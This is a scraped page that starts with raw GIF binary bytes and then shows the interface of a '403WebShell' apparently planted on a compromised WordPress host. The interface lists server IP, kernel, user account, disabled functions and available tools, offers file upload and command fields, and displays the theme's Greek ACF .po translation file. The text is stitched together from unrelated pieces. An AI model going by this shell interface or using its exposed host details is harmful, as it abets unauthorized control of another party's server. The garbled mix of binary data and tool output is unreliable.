GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/acf-el.po
# Advanced Custom Fields Translations are a combination of translate.wordpress.org contributions,
# combined with user contributed strings for the PRO version.
# Translations from translate.wordpress.org take priority over translations in this file.
# translate.wordpress.org contributions are synced at the time of each release.
#
# If you would like to contribute translations, please visit
# https://translate.wordpress.org/projects/wp-plugins/advanced-custom-fields/stable/
#
# For additional ACF PRO strings, please submit a pull request over on the ACF GitHub repo at
# http://github.com/advancedcustomfields/acf using the .pot (and any existing .po) files in /lang/pro/
#
# This file is distributed under the same license as Advanced Custom Fields.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-12-13T15:07:38+00:00\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"Language: el\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: gettext\n"
"Project-Id-Version: Advanced Custom Fields\n"

#: includes/api/api-template.php:867
msgid "[ACF shortcode value disabled for preview]"
msgstr ""

#: includes/admin/admin-field-group.php:672
msgid "Close Modal"
msgstr ""

#: includes/admin/admin-field-group.php:162
#: assets/build/js/acf-field-group.js:1304
#: assets/build/js/acf-field-group.js:1468
msgid "Field moved to other group"
msgstr ""

#: includes/admin/admin-field-group.php:161 assets/build/js/acf.js:1397
#: assets/build/js/acf.js:1463
msgid "Close modal"
msgstr ""

#: includes/fields/class-acf-field-tab.php:122
msgid "Start a new group of tabs at this tab."
msgstr "Ξεκινήστε μια νέα ομάδα από καρτέλες σε αυτή την καρτέλα."

#: includes/fields/class-acf-field-tab.php:121
msgid "New Tab Group"
msgstr "Νέα Ομάδα Καρτελών"

#: includes/fields/class-acf-field-select.php:450
#: includes/fields/class-acf-field-true_false.php:197
msgid "Use a stylized checkbox using select2"
msgstr "Παρουσιάστε τα checkbox στυλιζαρισμένα χρησιμοποιώντας το select2"

#: includes/fields/class-acf-field-radio.php:257
msgid "Save Other Choice"
msgstr "Αποθήκευση Άλλης Επιλογής"

#: includes/fields/class-acf-field-radio.php:246
msgid "Allow Other Choice"
msgstr "Να Επιτρέπονται Άλλες Επιλογές"

#: includes/fields/class-acf-field-checkbox.php:446
msgid "Add Toggle All"
msgstr "Προσθήκη Εναλλαγής Όλων"

#: includes/fields/class-acf-field-checkbox.php:405
msgid "Save Custom Values"
msgstr "Αποθήκευση Προσαρμοσμένων Τιμών"

#: includes/fields/class-acf-field-checkbox.php:394
msgid "Allow Custom Values"
msgstr "Να Επιτρέπονται Προσαρμοσμένες Τιμές"

#: includes/fields/class-acf-field-checkbox.php:144
msgid "Checkbox custom values cannot be empty. Uncheck any empty values."
msgstr ""
"Οι προσαρμοσμένες τιμές των checkbox δεν επιτρέπεται να είναι κενές. "
"Αποεπιλέξετε τις κενές τιμές."

#: includes/admin/views/html-admin-navigation.php:111
msgid "Updates"
msgstr "Ανανεώσεις"

#: includes/admin/views/html-admin-navigation.php:79
msgid "Advanced Custom Fields logo"
msgstr "Λογότυπος Advanced Custom Fields"

#: includes/admin/views/html-admin-form-top.php:22
msgid "Save Changes"
msgstr "Αποθήκευση Αλλαγών"

#: includes/admin/views/html-admin-form-top.php:16
msgid "Field Group Title"
msgstr "Τίτλος Ομάδας Πεδίων"

#: includes/admin/views/html-admin-form-top.php:3
msgid "Add title"
msgstr "Προσθήκη τίτλου"

#. translators: %s url to getting started guide
#: includes/admin/views/field-groups-empty.php:20
msgid ""
"New to ACF? Take a look at our <a href=\"%s\" target=\"_blank\">getting "
"started guide</a>."
msgstr ""
"Είστε καινούριοι στο ACF; Κάνετε μια περιήγηση στον <a href=\"%s\" target="
"\"_blank\">οδηγό εκκίνησης για νέους</a>."

#: includes/admin/views/field-groups-empty.php:15
msgid "Add Field Group"
msgstr "Προσθήκη Ομάδας Πεδίων"

#. translators: %s url to creating a field group page
#: includes/admin/views/field-groups-empty.php:10
msgid ""
"ACF uses <a href=\"%s\" target=\"_blank\">field groups</a> to group custom "
"fields together, and then attach those fields to edit screens."
msgstr ""
"To ACF χρησιμοποιεί <a href=\"%s\" target=\"_blank\">ομάδες πεδίων</a> για "
"να ομαδοποιήσει προσαρμοσμένα πεδία και να τα παρουσιάσει στις οθόνες "
"επεξεργασίας."

#: includes/admin/views/field-groups-empty.php:5
msgid "Add Your First Field Group"
msgstr "Προσθέστε την Πρώτη σας Ομάδα Πεδίων"

#: includes/admin/views/field-group-pro-features.php:16
msgid "Upgrade Now"
msgstr "Αναβάθμιση Τώρα"

#: includes/admin/views/field-group-pro-features.php:11
msgid "Options Pages"
msgstr "Σελίδες Ρυθμίσεων"

#: includes/admin/views/field-group-pro-features.php:10
msgid "ACF Blocks"
msgstr "ACF Blocks"

#: includes/admin/views/field-group-pro-features.php:8
msgid "Gallery Field"
msgstr "Πεδίο Gallery"

#: includes/admin/views/field-group-pro-features.php:7
msgid "Flexible Content Field"
msgstr "Πεδίο Flexible Content"

#: includes/admin/views/field-group-pro-features.php:6
msgid "Repeater Field"
msgstr "Πεδίο Repeater"

#: includes/admin/views/field-group-pro-features.php:4
#: includes/admin/views/html-admin-navigation.php:97
msgid "Unlock Extra Features with ACF PRO"
msgstr "Ξεκλειδώστε Επιπλέον Δυνατότητες με το ACF PRO"

#: includes/admin/views/field-group-options.php:242
msgid "Delete Field Group"
msgstr "Διαγραφή Ομάδας Πεδίων"

#. translators: 1: Post creation date 2: Post creation time
#: includes/admin/views/field-group-options.php:236
msgid "Created on %1$s at %2$s"
msgstr "Δημιουργήθηκε την %1$s στις %2$s"

#: includes/admin/views/field-group-options.php:179
msgid "Group Settings"
msgstr "Ρυθμίσεις Ομάδας"

#: includes/admin/views/field-group-options.php:28
msgid "Location Rules"
msgstr "Κανόνες Τοποθεσίας"

#. translators: %s url to field types list
#: includes/admin/views/field-group-fields.php:61
msgid ""
"Choose from over 30 field types. <a href=\"%s\" target=\"_blank\">Learn "
"more</a>."
msgstr ""
"Επιλέξτε από περισσότερους από 30 τύπους πεδίων. <a href=\"%s\" target="
"\"_blank\">Μάθετε περισσότερα</a>."

#: includes/admin/views/field-group-fields.php:54
msgid ""
"Get started creating new custom fields for your posts, pages, custom post "
"types and other WordPress content."
msgstr ""
"Ξεκινήστε να δημιουργείτε νέα προσαρμοσμένα πεδία για τα άρθρα, τις σελίδες, "
"τα custom post types και γενικότερα το περιεχόμενο του WordPress."

#: includes/admin/views/field-group-fields.php:53
msgid "Add Your First Field"
msgstr "Προσθέστε το Πρώτο σας Πεδίο"

#. translators: A symbol (or text, if not available in your locale) meaning
#. "Order Number", in terms of positional placement.
#: includes/admin/views/field-group-fields.php:32
msgid "#"
msgstr "#"

#: includes/admin/views/field-group-fields.php:22
#: includes/admin/views/field-group-fields.php:56
#: includes/admin/views/field-group-fields.php:92
#: includes/admin/views/html-admin-form-top.php:21
msgid "Add Field"
msgstr "Προσθήκη Πεδίου"

#: includes/admin/views/field-group-field.php:191
#: includes/admin/views/field-group-options.php:40
msgid "Presentation"
msgstr "Παρουσίαση"

#: includes/admin/views/field-group-field.php:159
msgid "Validation"
msgstr "Επικύρωση"

#: includes/admin/views/field-group-field.php:93
msgid "General"
msgstr "Γενικά"

#: includes/admin/tools/class-acf-admin-tool-import.php:70
msgid "Import JSON"
msgstr "Εισαγωγή JSON"

#: includes/admin/tools/class-acf-admin-tool-export.php:361
msgid "Export Field Groups - Generate PHP"
msgstr "Εξαγωγή Ομάδων Πεδίων - Παραγωγή PHP"

#: includes/admin/tools/class-acf-admin-tool-export.php:336
msgid "Export As JSON"
msgstr "Εξαγωγή ως JSON"

#: includes/admin/admin-field-groups.php:638
msgid "Field group deactivated."
msgid_plural "%s field groups deactivated."
msgstr[0] "Η ομάδα πεδίων έχει απενεργοποιηθεί."
msgstr[1] "%s ομάδες πεδίων έχουν απενεργοποιηθεί."

#: includes/admin/admin-field-groups.php:585
msgid "Field group activated."
msgid_plural "%s field groups activated."
msgstr[0] "Η ομάδα πεδίων ενεργοποιήθηκε."
msgstr[1] "%s ομάδες πεδίων ενεργοποιήθηκαν."

#: includes/admin/admin-field-groups.php:537
#: includes/admin/admin-field-groups.php:558
msgid "Deactivate"
msgstr "Απενεργοποίηση"

#: includes/admin/admin-field-groups.php:537
msgid "Deactivate this item"
msgstr "Απενεργοποιήστε αυτό το αντικείμενο"

#: includes/admin/admin-field-groups.php:533
#: includes/admin/admin-field-groups.php:557
msgid "Activate"
msgstr "Ενεργοποίηση"

#: includes/admin/admin-field-groups.php:533
msgid "Activate this item"
msgstr "Ενεργοποιήστε αυτό το αντικείμενο"

#: includes/admin/admin-field-group.php:158
#: assets/build/js/acf-field-group.js:2366
#: assets/build/js/acf-field-group.js:2635
msgid "Move field group to trash?"
msgstr "Να μεταφερθεί αυτή η ομάδα πεδίων στον κάδο;"

#: acf.php:448 includes/admin/admin-field-group.php:353
#: includes/admin/admin-field-groups.php:232
msgctxt "post status"
msgid "Inactive"
msgstr "Ανενεργό"

#. Author of the plugin
msgid "WP Engine"
msgstr "WP Engine"

#: acf.php:506
msgid ""
"Advanced Custom Fields and Advanced Custom Fields should not be active at "
"the same time. We've automatically deactivated Advanced Custom Fields PRO."
msgstr ""
"Το Advanced Custom Fields και το Advanced Custom Fields PRO δεν πρέπει να "
"είναι ταυτόχρονα ενεργά. Το Advanced Custom Fields PRO έχει απενεργοποιηθεί "
"αυτόματα."

#: acf.php:504
msgid ""
"Advanced Custom Fields and Advanced Custom Fields should not be active at "
"the same time. We've automatically deactivated Advanced Custom Fields."
msgstr ""
"Το Advanced Custom Fields και το Advanced Custom Fields PRO δεν πρέπει να "
"είναι ταυτόχρονα ενεργά. Το Advanced Custom Fields έχει απενεργοποιηθεί "
"αυτόματα."

#: includes/acf-value-functions.php:374
msgid ""
"<strong>%1$s</strong> - We've detected one or more calls to retrieve ACF "
"field values before ACF has been initialized. This is not supported and can "
"result in malformed or missing data. <a href=\"%2$s\" target=\"_blank"
"\">Learn how to fix this</a>."
msgstr ""
"<strong>%1$s</strong> - Ανιχνεύθηκαν μία ή περισσότερες κλήσεις για ανάκτηση "
"τιμών πεδίων ACF προτού το ACF αρχικοποιηθεί. Αυτό δεν υποστηρίζεται και "
"μπορεί να καταλήξει σε παραποιημένα ή κενά. <a href=\"%2$s\" target=\"_blank"
"\">Μάθετε πώς να το διορθώσετε</a>."

#: includes/fields/class-acf-field-user.php:537
msgid "%1$s must have a user with the %2$s role."
msgid_plural "%1$s must have a user with one of the following roles: %2$s"
msgstr[0] "Το %1$s πρέπει να έχει έναν χρήστη με ρόλο %2$s."
msgstr[1] ""
"Το %1$s πρέπει να έχει έναν χρήστη με έναν από τους παρακάτω ρόλους: %2$s."

#: includes/fields/class-acf-field-user.php:528
msgid "%1$s must have a valid user ID."
msgstr "Το %1$s πρέπει να έχει ένα έγκυρο ID χρήστη."

#: includes/fields/class-acf-field-user.php:366
msgid "Invalid request."
msgstr "Μη έγκυρο αίτημα."

#: includes/fields/class-acf-field-select.php:683
msgid "%1$s is not one of %2$s"
msgstr "Το %1$s δεν είναι ένα από τα %2$s."

#: includes/fields/class-acf-field-post_object.php:669
msgid "%1$s must have term %2$s."
msgid_plural "%1$s must have one of the following terms: %2$s"
msgstr[0] "To %1$s πρέπει να έχει τον όρο %2$s."
msgstr[1] "To %1$s πρέπει να έχει έναν από τους παρακάτω όρους: %2$s."

#: includes/fields/class-acf-field-post_object.php:653
msgid "%1$s must be of post type %2$s."
msgid_plural "%1$s must be of one of the following post types: %2$s"
msgstr[0] "Το %1$s πρέπει να έχει post type %2$s."
msgstr[1] "Το %1$s πρέπει να έχει ένα από τα παρακάτω post type: %2$s."

#: includes/fields/class-acf-field-post_object.php:644
msgid "%1$s must have a valid post ID."
msgstr "Το %1$s πρέπει να έχει ένα έγκυρο post ID."

#: includes/fields/class-acf-field-file.php:472
msgid "%s requires a valid attachment ID."
msgstr "Το %s απαιτεί ένα έγκυρο attachment ID."

#: includes/admin/views/field-group-options.php:205
msgid "Show in REST API"
msgstr "Να εμφανίζεται στο REST API"

#: includes/fields/class-acf-field-color_picker.php:167
msgid "Enable Transparency"
msgstr "Ενεργοποίηση Διαφάνειας"

#: includes/fields/class-acf-field-color_picker.php:186
msgid "RGBA Array"
msgstr "RGBA Array"

#: includes/fields/class-acf-field-color_picker.php:96
msgid "RGBA String"
msgstr "RGBA String"

#: includes/fields/class-acf-field-color_picker.php:95
#: includes/fields/class-acf-field-color_picker.php:185
msgid "Hex String"
msgstr "Hex String"

#: includes/admin/admin-field-group.php:187
#: assets/build/js/acf-field-group.js:837
#: assets/build/js/acf-field-group.js:933
msgid "Gallery (Pro only)"
msgstr "Gallery (Μόνο στην Pro)"

#: includes/admin/admin-field-group.php:186
#: assets/build/js/acf-field-group.js:833
#: assets/build/js/acf-field-group.js:923
msgid "Clone (Pro only)"
msgstr "Clone (Μόνο στην Pro)"

#: includes/admin/admin-field-group.php:185
#: assets/build/js/acf-field-group.js:833
#: assets/build/js/acf-field-group.js:920
msgid "Flexible Content (Pro only)"
msgstr "Flexible Content (Μόνο στην Pro)"

#: includes/admin/admin-field-group.php:184
#: assets/build/js/acf-field-group.js:833
#: assets/build/js/acf-field-group.js:917
msgid "Repeater (Pro only)"
msgstr "Repeater (Μόνο στην Pro)"

#: includes/admin/admin-field-group.php:353
msgctxt "post status"
msgid "Active"
msgstr "Ενεργό"

#: includes/fields/class-acf-field-email.php:178
msgid "'%s' is not a valid email address"
msgstr "Το '%s' δεν είναι έγκυρη διεύθυνση email."

#: includes/fields/class-acf-field-color_picker.php:74
msgid "Color value"
msgstr "Τιμή χρώματος"

#: includes/fields/class-acf-field-color_picker.php:72
msgid "Select default color"
msgstr "Επιλέξτε το προεπιλεγμένο χρώμα"

#: includes/fields/class-acf-field-color_picker.php:70
msgid "Clear color"
msgstr "Εκκαθάριση χρώματος"

#: includes/acf-wp-functions.php:87
msgid "Blocks"
msgstr "Μπλοκ"

#: includes/acf-wp-functions.php:83
msgid "Options"
msgstr "Επιλογές"

#: includes/acf-wp-functions.php:79
msgid "Users"
msgstr "Χρήστες"

#: includes/acf-wp-functions.php:75
msgid "Menu items"
msgstr "Στοιχεία μενού"

#: includes/acf-wp-functions.php:67
msgid "Widgets"
msgstr "Μικροεφαρμογές"

#: includes/acf-wp-functions.php:59
msgid "Attachments"
msgstr "Συνημμένα"

#: includes/acf-wp-functions.php:54
msgid "Taxonomies"
msgstr "Ταξινομίες"

#: includes/acf-wp-functions.php:41
msgid "Posts"
msgstr "Άρθρα"

#: includes/ajax/class-acf-ajax-local-json-diff.php:68
msgid "JSON field group (newer)"
msgstr "JSON field group (νεότερο)"

#: includes/ajax/class-acf-ajax-local-json-diff.php:64
msgid "Original field group"
msgstr "Αρχικό field group"

#: includes/ajax/class-acf-ajax-local-json-diff.php:59
msgid "Last updated: %s"
msgstr "Τελευταία ενημέρωση: %s"

#: includes/ajax/class-acf-ajax-local-json-diff.php:53
msgid "Sorry, this field group is unavailable for diff comparison."
msgstr ""
"Λυπούμαστε, αυτή η ομάδα πεδίων δεν είναι διαθέσιμη για σύγκριση διαφορών."

#: includes/ajax/class-acf-ajax-local-json-diff.php:43
msgid "Invalid field group ID."
msgstr "Μη έγκυρο field group ID."

#: includes/ajax/class-acf-ajax-local-json-diff.php:36
msgid "Invalid field group parameter(s)."
msgstr "Μη έγκυρες παράμετροι field group."

#: includes/admin/admin-field-groups.php:506
msgid "Awaiting save"
msgstr "Αναμονή αποθήκευσης"

#: includes/admin/admin-field-groups.php:503
msgid "Saved"
msgstr "Αποθηκεύτηκε"

#: includes/admin/admin-field-groups.php:499
msgid "Import"
msgstr "Εισαγωγή"

#: includes/admin/admin-field-groups.php:495
msgid "Review changes"
msgstr "Ανασκόπηση αλλαγών"

#: includes/admin/admin-field-groups.php:471
msgid "Located in: %s"
msgstr "Βρίσκεται στο: %s"

#: includes/admin/admin-field-groups.php:467
msgid "Located in plugin: %s"
msgstr "Βρίσκεται στο πρόσθετο: %s"

#: includes/admin/admin-field-groups.php:463
msgid "Located in theme: %s"
msgstr "Βρίσκεται στο θέμα: %s"

#: includes/admin/admin-field-groups.php:441
msgid "Various"
msgstr "Διάφορα"

#: includes/admin/admin-field-groups.php:200
#: includes/admin/admin-field-groups.php:565
msgid "Sync changes"
msgstr "Συγχρονισμός αλλαγών"

#: includes/admin/admin-field-groups.php:199
msgid "Loading diff"
msgstr "Φόρτωση διαφορών"

#: includes/admin/admin-field-groups.php:198
msgid "Review local JSON changes"
msgstr "Ανασκόπηση τοπικών αλλαγών στο JSON"

#: includes/admin/admin.php:172
msgid "Visit website"
msgstr "Επισκεφθείτε τον ιστότοπο"

#: includes/admin/admin.php:171
msgid "View details"
msgstr "Προβολή λεπτομερειών"

#: includes/admin/admin.php:170
msgid "Version %s"
msgstr "Έκδοση %s"

#: includes/admin/admin.php:169
msgid "Information"
msgstr "Πληροφορία"

#: includes/admin/admin.php:160
msgid ""
"<a href=\"%s\" target=\"_blank\">Help Desk</a>. The support professionals on "
"our Help Desk will assist with your more in depth, technical challenges."
msgstr ""
"<a href=\"%s\" target=\"_blank\">Υποστήριξη</a>. Οι επαγγελματίες στην "
"Υποστήριξή μας θα σας βοηθήσουν με τις πιο προχωρημένες τεχνικές δυσκολίες "
"σας."

#: includes/admin/admin.php:156
msgid ""
"<a href=\"%s\" target=\"_blank\">Discussions</a>. We have an active and "
"friendly community on our Community Forums who may be able to help you "
"figure out the ‘how-tos’ of the ACF world."
msgstr ""
"<a href=\"%s\" target=\"_blank\">Συζητήσεις</a>. Διαθέτουμε μια ενεργή και "
"φιλική κοινότητα στα Community Forums μας, που πιθανόν να μπορέσει να σας "
"βοηθήσει στα \"πώς και τι\" του κόσμου του ACF."

#: includes/admin/admin.php:152
msgid ""
"<a href=\"%s\" target=\"_blank\">Documentation</a>. Our extensive "
"documentation contains references and guides for most situations you may "
"encounter."
msgstr ""
"<a href=\"%s\" target=\"_blank\">Τεκμηρίωση</a>. Η εκτεταμένη μας τεκμηρίωσή "
"περιέχει αναφορές και οδηγούς για τις περισσότερες από τις περιπτώσεις που "
"τυχόν συναντήσετε. "

#: includes/admin/admin.php:149
msgid ""
"We are fanatical about support, and want you to get the best out of your "
"website with ACF. If you run into any difficulties, there are several places "
"you can find help:"
msgstr ""
